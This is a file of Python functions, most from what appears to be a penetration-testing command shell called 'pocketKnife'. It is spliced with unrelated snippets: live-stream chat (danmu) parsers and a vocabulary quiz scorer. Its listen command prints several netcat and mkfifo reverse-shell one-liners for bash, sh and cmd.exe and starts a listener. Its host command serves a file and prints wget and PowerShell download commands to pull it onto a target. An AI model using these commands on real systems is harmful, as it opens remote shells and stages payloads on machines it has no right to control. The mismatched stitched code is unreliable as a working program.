def set_arg(self, args): """ This method is used to set a global argument. @param args = string in the form 'argument=value' """ self.arg_dict[args.split('=')[0]] = args.split('=')[1] ColorPrint.print_pass("{} set to {}".format(args.split('=')[0], args.split('=')[1]))
def do_import(self, args): '\x1b[1;34mload scans file\x1b[0m' if (args == '' or len(args.split()) > 1): ColorPrint.print_fail( "Specify the file to import scans from. e.g. 'import <scanfile>'" ) return self.scan_handler.import_scans(args)
def preloop(self): print(self.manual_intro) #ColorPrint.print_pass("Logging directory: {}".format(self.loggingdir)) if (not self.scan_handler.scans_dict): ColorPrint.print_fail( "Could not determine scans file. Use 'import <scansfile>' to load scans" ) else: print("")
def unset_arg(self, arg): """ This will unset a global variable if it exists @param arg = a single word """ if(arg in self.arg_dict): del(self.arg_dict[arg]) ColorPrint.print_pass("{} unset.".format(arg)) else: ColorPrint.print_fail("{} is not set.".format(arg))
def import_scans(self, filename): try: with open(filename) as json_scans: data = json.load(json_scans) for s in data: self.scans_dict[s['name']] = scanClass.scan.from_json(s) self.scan_file_name = filename ColorPrint.print_pass("Scans imported from: {}".format(self.scan_file_name)) except Exception as e: self.scan_file_name = "" ColorPrint.print_fail(str(e))
def do_info(self, args): """ Prints environment information such as working directory, logging directory, scans file location, and global arguments. It does not accept any arguments """ info_string = """~~~~~~pocketKnife~~~~~~ Logging Directory: {} Scans File: {} Global Arguments: """.format(self.loggingdir, self.scan_handler.scan_file_name) info_string += self.scan_handler.get_global_args() ColorPrint.print_pass(info_string)
def addscan(self, scan_name, cmd): self.scans_dict[scan_name] = scanClass.scan(scan_name, cmd) json_to_dump = [] for scan in self.scans_dict: json_to_dump.append({'name': scan, 'command': self.scans_dict[scan].command}) if(os.path.exists(self.scan_file_name) and os.path.isfile(self.scan_file_name)): try: scan_file = open(self.scan_file_name, 'w+') if(json_to_dump is not None): json.dump(json_to_dump, scan_file, indent=4) scan_file.close() self.import_scans(self.scan_file_name) except Exception as e: ColorPrint.print_fail(str(e))
def search_scans(self, terms): for scan_name in self.scans_dict: cmd_match = self.scans_dict[scan_name].command scan_match = scan_name matched = False if(terms in self.scans_dict[scan_name].command): cmd_match = self.scans_dict[scan_name].command.replace(terms, '\x1b[0m\x1b[1;33m' + terms + '\x1b[0m\x1b[1;32m') cmd_match = cmd_match + '\x1b[0m' matched = True if(terms in scan_name): scan_match = scan_name.replace(terms, '\x1b[0m\x1b[1;33m' + terms + '\x1b[0m\x1b[1;32m') matched = True if(matched): ColorPrint.print_pass("{}: {}".format(scan_match, cmd_match))
def do_unset(self, args): """ Used to unset global arguments. @param args = string, can be in the form 'unset <argument>' - will attempt to unset that global argument if it exists """ incorrect_syntax = "Incorrect syntax. Usage: 'unset <argument>'" if (args == ''): ColorPrint.print_fail(incorrect_syntax) return elif (len(args.split()) > 1): ColorPrint.print_fail(incorrect_syntax) return else: self.scan_handler.unset_arg(args)
def do_addscan(self, args): if (args == ''): ColorPrint.print_fail( "ERROR: No new scan specified. Usage: 'addscan <desired_scan_name> <desired_scan_command>'" ) elif (len(args.split()) < 2): ColorPrint.print_fail( "ERROR: Incorrect syntax. Usage: 'addscan <desired_scan_name> <desired_scan_command>'" ) else: scan_name = args.split()[0] scan_command_list = args.split()[1:] scan_command = "" for word in scan_command_list: scan_command = scan_command + ' ' + word self.scan_handler.addscan(scan_name, scan_command.strip())
def parse_arguments(self, raw_arguments): """ @param raw_arguments: string, in the form 'arg_name=arg_value arg_name2=arg_value2' @returns a dict mapping arg_nam to arg_value """ specified_args = {} for arg in raw_arguments: try: arg_name = arg.split('=')[0] arg_value = arg.split('=')[1] except: ColorPrint.print_fail("ERROR: Incorrectly formatted command.") ColorPrint.print_fail("ERROR: 'scan my-scan ip=0.0.0.0 port=99'") return if(arg_name is not '' and arg_value is not ''): specified_args[arg_name] = arg_value return specified_args
def do_set(self, args): """ Used to set global arguments. @param args = string, can be in the form 'set' or 'set <arg_name>=<value>' - when args is 'set' it will print the environment info (call do_info) - when args is formated correctly it will set an evironment variable in env_dict - malformed args is print usage and return """ incorrect_syntax = "Incorrect syntax. Usage: 'set <arg_name>=<arg_value>'" if (args == ''): #TODO: Print info here return elif (len(args.split()) > 1): ColorPrint.print_fail(incorrect_syntax) return else: if not re.search(re.compile(r'\S+=\S+'), args): ColorPrint.print_fail(incorrect_syntax) return self.scan_handler.set_arg(args)
def scan(self, args, loggingdir): # no scan or target is specified so just print the scans if(args == ''): self.list_scans() return # scan is specified but no target so just print that scan split_args = args.split() scan_name = split_args[0] if(scan_name in self.scans_dict): # use the scan objects replace method parsed_args = self.parse_arguments(split_args[1:]) scan_cmd_replaced_args = self.scans_dict[scan_name].replace_arguments_in_cmd(parsed_args) if(scan_cmd_replaced_args is not None): # try and make the log file in the logging derectory log_file_name = loggingdir + '/' + scan_name + '_' + datetime.datetime.fromtimestamp(time.time()).strftime('%H:%M:%S-%m-%d-%Y') helpers.execute(scan_cmd_replaced_args, log_file_name) else: ColorPrint.print_fail("ERROR: scan {} not found.".format(scan_name))
def do_setdir(self, args): '\x1b[1;34mchange directory where logs are saved\x1b[0m' if (args == ''): ColorPrint.print_pass("Logging directory: {}".format( self.loggingdir)) return elif (len(args.split()) != 1): ColorPrint.print_fail( "ERROR: Incorrect syntax. Usage: 'setdir <desired_logging_directory>'" ) return elif (os.path.exists(args)): self.loggingdir = args ColorPrint.print_pass("Logging directory changed to: {}".format( self.loggingdir)) return else: ColorPrint.print_fail("ERROR: {} does not exist.".format(args)) return
def get_danmu(self): while True: try: context = self.danmu_auth_socket.recv(1024) msg = re.search(b'\x10\x27({[^\x00]*})\x0a', context).group(1).decode('utf8', 'ignore') msg = json.loads(msg) if msg['cmdid'] == 'chatmessage': name = msg['fromname'] content = msg['content'] level = msg['level'] if msg.has_key('level') else 0 time = datetime.datetime.now().strftime( '%Y-%m-%d %H:%M:%S') ip = msg['ip'] output_str = u'弹幕' + '|' + name + '(' + ip + ')' + '|Lv.' + str( level) + '|' + time + ':' + content ColorPrint(output_str).green() except Exception as e: logger.error(u'弹幕解析失败')
def scoreEnglishAnswer(self, word): answer = self.getInputAnswer().strip() if answer.lower() == 'exit' and word != 'exit': self.printStatistics() sys.exit() if answer.lower() == word.lower(): ColorPrint.printGreen('T', end=' ') self._rightCnt += 1 else: ColorPrint.printRed('F', end=' ') self._wrongCnt += 1 ColorPrint.printBlue(word, end=' ') print('=>', answer)
def danmu_parse(self, msg): if 'type@=' not in msg: logger.debug(u'收到的消息中不包含type字段:' + msg) elif 'type@=error' in msg: logger.error(u'错误消息,弹幕获取失败') else: content = msg.replace('@S','/').replace('@A=',':').replace('@=',':') try: msg_type = re.search('type:(.+?)\/', content).group(1) if msg_type == 'chatmsg': sendid = re.search('\/uid:(.+?)\/', content).group(1) if 'uid:' in content else 'UNKNOWN' name = re.search('\/nn:(.+?)\/', content).group(1) if 'nn:' in content else 'UNKNOWN' letters = re.search('\/txt:(.+?)\/', content).group(1) if 'txt:' in content else 'UNKNOWN' level = re.search('\/level:(.+?)\/', content).group(1) if 'level:' in content else 'UNKNOWN' client_type = re.search('\/ct:(.+?)\/', content).group(1) if 'ct:' in content else "UNKNOWN" # ct 默认值 0 web time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') output_str = u'弹幕'+'|'+name+'('+sendid+')'+'|Lv.'+level+'|'+str(time)+':'+letters ColorPrint(output_str).green() except Exception as e: logger.error(u'弹幕解析失败')
def execute(command, output_file=''): command_list = shlex.split(command) logging = False logging_fd = '' if(output_file is not ''): logging = True try: logging_fd = open(output_file, 'w+') except Exception as e: print(str(e)) ColorPrint.print_fail("Cannot open {} for logging. Output will not be logged.".format(output_file)) logging = False try: if(logging): ColorPrint.print_pass("Logging to {}".format(output_file)) proc = subprocess.Popen(command_list, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) while True: line = proc.stdout.readline() if not line: break ColorPrint.print_pass(line.decode('UTF-8')) if(logging): logging_fd.write(line.decode('UTF-8')) except KeyboardInterrupt: print('') ColorPrint.print_warn("Keyboard interrupt recieved.") except FileNotFoundError as e: ColorPrint.print_fail(str(e)) if(output_file is not ''): try: os.remove(output_file) ColorPrint.print_fail("Log file removed '{}'".format(output_file)) except: ColorPrint.print_fail("Could not remove empty logging file {}".format(output_file)) ColorPrint.print_fail("Attempted to run: {}".format(command))
def printEnglish(self, item): print(item) answer = self.getInputAnswer().strip() if answer.lower() == 'exit': sys.exit() ColorPrint.printBlue(self.combineFullChinese(item), file=self._file)
def do_listen(self, args): '\x1b[1;34mListen on a port. Usage: "listen [port]"\x1b[0m' port = args if (port == ''): port = random.randint(1024, 65535) ip_addresses = helpers.get_ip_addresses() ColorPrint.print_pass( "Use these commands to connect to your listener:") for ip in ip_addresses: ColorPrint.print_pass("***** {} *****".format(ip)) ColorPrint.print_info("nc {} {} -e /bin/bash".format(ip, port)) ColorPrint.print_info("nc -c /bin/sh {} {}".format(ip, port)) ColorPrint.print_info("/bin/sh | nc {} {}".format(ip, port)) ColorPrint.print_info( "rm -f /tmp/p; mknod /tmp/p p && nc {} {} 0/tmp/p".format( ip, port)) ColorPrint.print_info("nc {} {} -e cmd.exe".format(ip, port)) ColorPrint.print_info( "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc {} {} >/tmp/f" .format(ip, port)) helpers.execute('nc -lvnp {}'.format(port)) print()
def list_scans(self): for scan_name in sorted(self.scans_dict): ColorPrint.print_pass(str(self.scans_dict[scan_name]))
def do_host(self, args): '\x1b[1;34mHost a file using a basic webserver. Usage: "host <file>"\x1b[0m' if (args == ''): ColorPrint.print_fail("specify a file to host") return # make sure file exists if (args[0] == '~'): args = os.path.expanduser(args) if (not os.path.exists(args)): ColorPrint.print_fail("'{}' does not exist".format(args)) return # get a random high port port = random.randint(1024, 65535) # make a random directory dir = ''.join(random.choice(string.ascii_lowercase) for i in range(5)) os.mkdir(dir) # strip the path off the file if there is one file_to_host = ntpath.basename(args) # copy the file to the directory shutil.copyfile(args, dir + "/" + file_to_host) # change the working directory workingdir = os.getcwd() os.chdir(dir) # start the server try: server_handler = http.server.SimpleHTTPRequestHandler httpd = http.server.HTTPServer(("", port), server_handler) httpd.timeout = None # print the wget and powershell commands for downloading ip_addresses = helpers.get_ip_addresses() # print pasteables for bash for address in ip_addresses: request_url = "http://{}:{}/{}".format(address, port, file_to_host) ColorPrint.print_pass("wget {}".format(request_url)) print("") # print pasteables for windows for address in ip_addresses: request_url = "http://{}:{}/{}".format(address, port, file_to_host) destination = "C:\\Windows\\temp\\{}".format(file_to_host) powershell_pasteable = 'powershell -c "' + "(new-object System.Net.WebClient).DownloadFile('{}','{}')".format( request_url, destination) + '"' ColorPrint.print_pass(powershell_pasteable) httpd.serve_forever() except KeyboardInterrupt: print('') ColorPrint.print_info("closing server") except Exception: os.chdir(workingdir) os.remove(dir + "/" + file_to_host) os.rmdir(dir) ColorPrint.print_fail( "Could not open http server on port {}".format(port)) return os.chdir(workingdir) os.remove(dir + "/" + file_to_host) os.rmdir(dir)